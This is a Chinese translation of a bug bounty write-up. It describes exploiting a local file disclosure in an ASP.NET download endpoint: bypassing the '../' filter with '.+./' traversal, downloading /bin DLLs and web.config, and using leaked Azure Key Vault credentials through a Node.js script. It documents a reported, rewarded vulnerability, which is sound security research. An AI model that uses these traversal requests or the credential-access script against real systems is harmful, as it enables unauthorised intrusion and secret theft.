當前位置:
首頁 > 新聞 > 通過讀取ASP.NET應用泄露的secrets獲得bug賞金17000美刀

通過讀取ASP.NET應用泄露的secrets獲得bug賞金17000美刀

ASP.NET應用程序中比較常見的漏洞有本地文件泄露(LDF)。如果讀者之前未接觸過ASP.NET開發,那麼LFD對於你來說可能很困惑並且會沒啥思路。因此在下面的文章中,我描述了最接近真實環境下LFD攻擊的應用程序的利用過程。


確定漏洞點


在最近的挖洞過程中,我遇到了以下這個url

https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF…


首先就覺得可以試試任意文件下載,訪問後,在載入頁面時,它會從伺服器上的另一個路徑下載幫助文檔。但是它加密了,我沒法篡改f的值,假設我能夠找到密鑰來解密參數(可能是AES加密),估計能嘗試利用下LDF。


不過運氣還不錯,在網站的舊版本中找到了相同的下載點,如下:


https://domain.com/utility/download.aspx?f=file1234.docx


響應如下:

HTTP/1.1 200 OKConnection: closeContent-Length: 27363?ó|u?Z^tù¢y?ˉ;!Y,}{?C?3/h>

我立馬就把參數改成download.aspx,竟然能返回apsx文件內容。

GET /utility/download.aspx?f=download.aspxHTTP/1.1 200 OKConnection: closeContent-Length: 263<%@ Page Language="C#" AutoEventWireup="true" Debug="true" %>

經過測試,能訪問aspx文件內容,但是實際的源碼文件aspx.cs無法訪問。


有關.aspx與.aspx.cs的區別可以參考https://stackoverflow.com/questions/13182757/what-is-the-difference-between-aspx-and-aspx-cs


這個問題需要解決,不然無法後續進行利用。


我接著訪問其他目錄,看看有沒有發現。

繞過目錄訪問限制


使用常規的../來遍歷時,發現總是返回400 bad request,估計有過濾。


使用burp嘗試下fuzz,看看能不能繞過。


可以手工進行測試,但為了節省時間就使用以下請求進行fuzz

GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx

查看返回的內容,發現使用字元+返回了正確的內容。


這裡我很疑惑,本地搭建環境測試的使用我使用+進行fuzz沒成功,大致猜想加號在url中代表空格,也許與Window的文件名有關。


進一步利用


既然繞過了限制,接著我嘗試讀取了下ashx文件,ashx文件是一種帶HTML和C#的混合文件,猜測應該能讀取。

讀取成功

HTTP/1.1 200 OKConnection: closeContent-Length: 2398<%@ WebHandler Language="C#" Class="redacted.redacted" %>Imports SystemImports System.DataImports System.Data.SqlClientImports System.IOImports System.WebImports System.Configuration...

到這裡已經能得到一些敏感信息了,接著想更深一步利用,所以我決定讀取更多的源代碼文件。


當對一種技術迷惑的時候,最好是去讀它的官方文檔,所以在閱讀ASP.NET應用程序文檔時發現編譯類是保留/bin/className.dll中的。這意味著我們應該能夠提取.ashx 文件中引用的類名。


通過發送以下請求,我能夠下載到源文件的DLL(存儲DLLhttps://blogs.msdn.microsoft.com/tom/2008/07/21/asp-net-tips-loading-a-dll-out-of-the-bin-directory/)

GET /utility/download.aspx?f=.+./.+./bin/redacted.dll

下載後,使用dnSpy(C#反編譯工具)導入DLL並恢復應用程序的源代碼,之後可以下載更多的類文件來獲取源代碼。

Azure密鑰泄露證明造成嚴重影響


ASP.NET應用程序中敏感的文件有web.config,該文件本質上是一個配置文件,其中包含從單個頁面到整個Web伺服器的各種變數。文件里存在大量敏感信息,例如SQL資料庫密碼,比如上面我們看到的已加密參數的加密密鑰,以及應用程序使用的內部介面。


下面是一個示例web.config文件。

<?xml version="1.0" encoding="utf-8"?><!--  For more information on how to configure your ASP.NET application, please visithttp://go.microsoft.com/fwlink/?LinkId=301880  --><configuration>  <appSettings>    <add key="webpages:Version" value="3.0.0.0" />    <add key="webpages:Enabled" value="false" />    <add key="ClientValidationEnabled" value="true" />    <add key="UnobtrusiveJavaScriptEnabled" value="true" />    <add key="PodioClientId" value="" />    <add key="PodioClientSecret" value="" />        <add key="AppId" value="" />    <add key="SpaceId" value="" />  </appSettings>  <connectionStrings>    <remove name="umbracoDbDSN" />    <add name="PodioAspnetSampleDb" connectionString="server=WSA07;database=PodioAspnetSampleDb;user id=sa;password=pass" providerName="System.Data.SqlClient" />  </connectionStrings>    <system.web>    <compilation debug="true" targetFramework="4.5" />    <httpRuntime targetFramework="4.5" />  </system.web></configuration>

發送以下請求後,我們獲取到了web.config的內容。

GET /utility/download.aspx?f=.+./.+./web.config

其中響應中包含了許多secrets,最值得注意的是以下secrets的泄露。

...<add key="keyVaultDataPlaneUri" value="redacted" /><add key="uniqueKeyVaultNameUri" value="redacted" /><add key="keyVaultClientId" value="redacted" /><add key="keyVaultClientSecretIdentifier" value="redacted" /><add key="keyVaultClientTenantName" value="redacted" /><add key="keyVaultAuthenticationContextUri" value="redacted" /><add key="keyVaultApiVersion" value="2016-10-01" />...

利用這些密鑰可以訪問Azure Key Vault實例。而Azure Key Vault用來保存應用程序的secrets,會帶有一些敏感信息。


現在的問題是如何正確發送請求來訪問Azure Key Vault實例?在與朋友shubs討論之後,他立馬寫出了一個Node.js腳本,使用公開的密鑰成功訪問了Azure Key Vault實例…哈哈

var KeyVault = require("azure-keyvault");var AuthenticationContext = require("adal-node").AuthenticationContext;var clientId = "clientId";var clientSecret = "clientSecret";var vaultUri = "vaultUri";// Authenticator - retrieves the access tokenvar authenticator = function (challenge, callback) {  // Create a new authentication context.  var context = new AuthenticationContext(challenge.authorization);  // Use the context to acquire an authentication token.  return context.acquireTokenWithClientCredentials(challenge.resource, clientId, clientSecret, function (err, tokenResponse) {    if (err) throw err;    // Calculate the value to be set in the request"s Authorization header and resume the call.    var authorizationValue = tokenResponse.tokenType + " " + tokenResponse.accessToken;    console.log(authorizationValue);    return callback(null, authorizationValue);  });};var credentials = new KeyVault.KeyVaultCredentials(authenticator);var client = new KeyVault.KeyVaultClient(credentials);client.getSecrets(vaultUri).then(function(value) {    console.log(value);});

響應如下:

{ id:     "https://redacted.vault.azure.net/secrets/ftp_credentials",    attributes:     { enabled: true,       created: 2018-01-23T22:14:18.000Z,       updated: 2018-01-23T22:14:18.000Z,       recoveryLevel: "Purgeable" },    contentType: "secret" } ]... more secrets ...

本次漏洞利用完成,最終獲取的secrets足以讓我控制系統來證明危害程度,所以可以提交報告了。


總結


ASP.NET無法訪問源文件?可以嘗試訪問下/bin/className.dll。


想獲取到更多敏感信息?記得讀取web.config文件。


開發人員需要將ASP.NET應用程序安全性提升才能防止黑客攻擊,如果能破解每個請求中發送的token,應該也能發現更多的安全問題(XSS、身份驗證繞過、shell上傳、LFD和LFI等)。

時間線



提交——2018年9月25日


審核——2018年9月27日


發放獎勵17000美元——2018年9月29日


*參考來源:Samcurry,由生如夏花編譯,轉載請註明來自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

Windows Sandbox:輕量級桌面環境專為安全運行應用程序而設計

TAG:FreeBuf |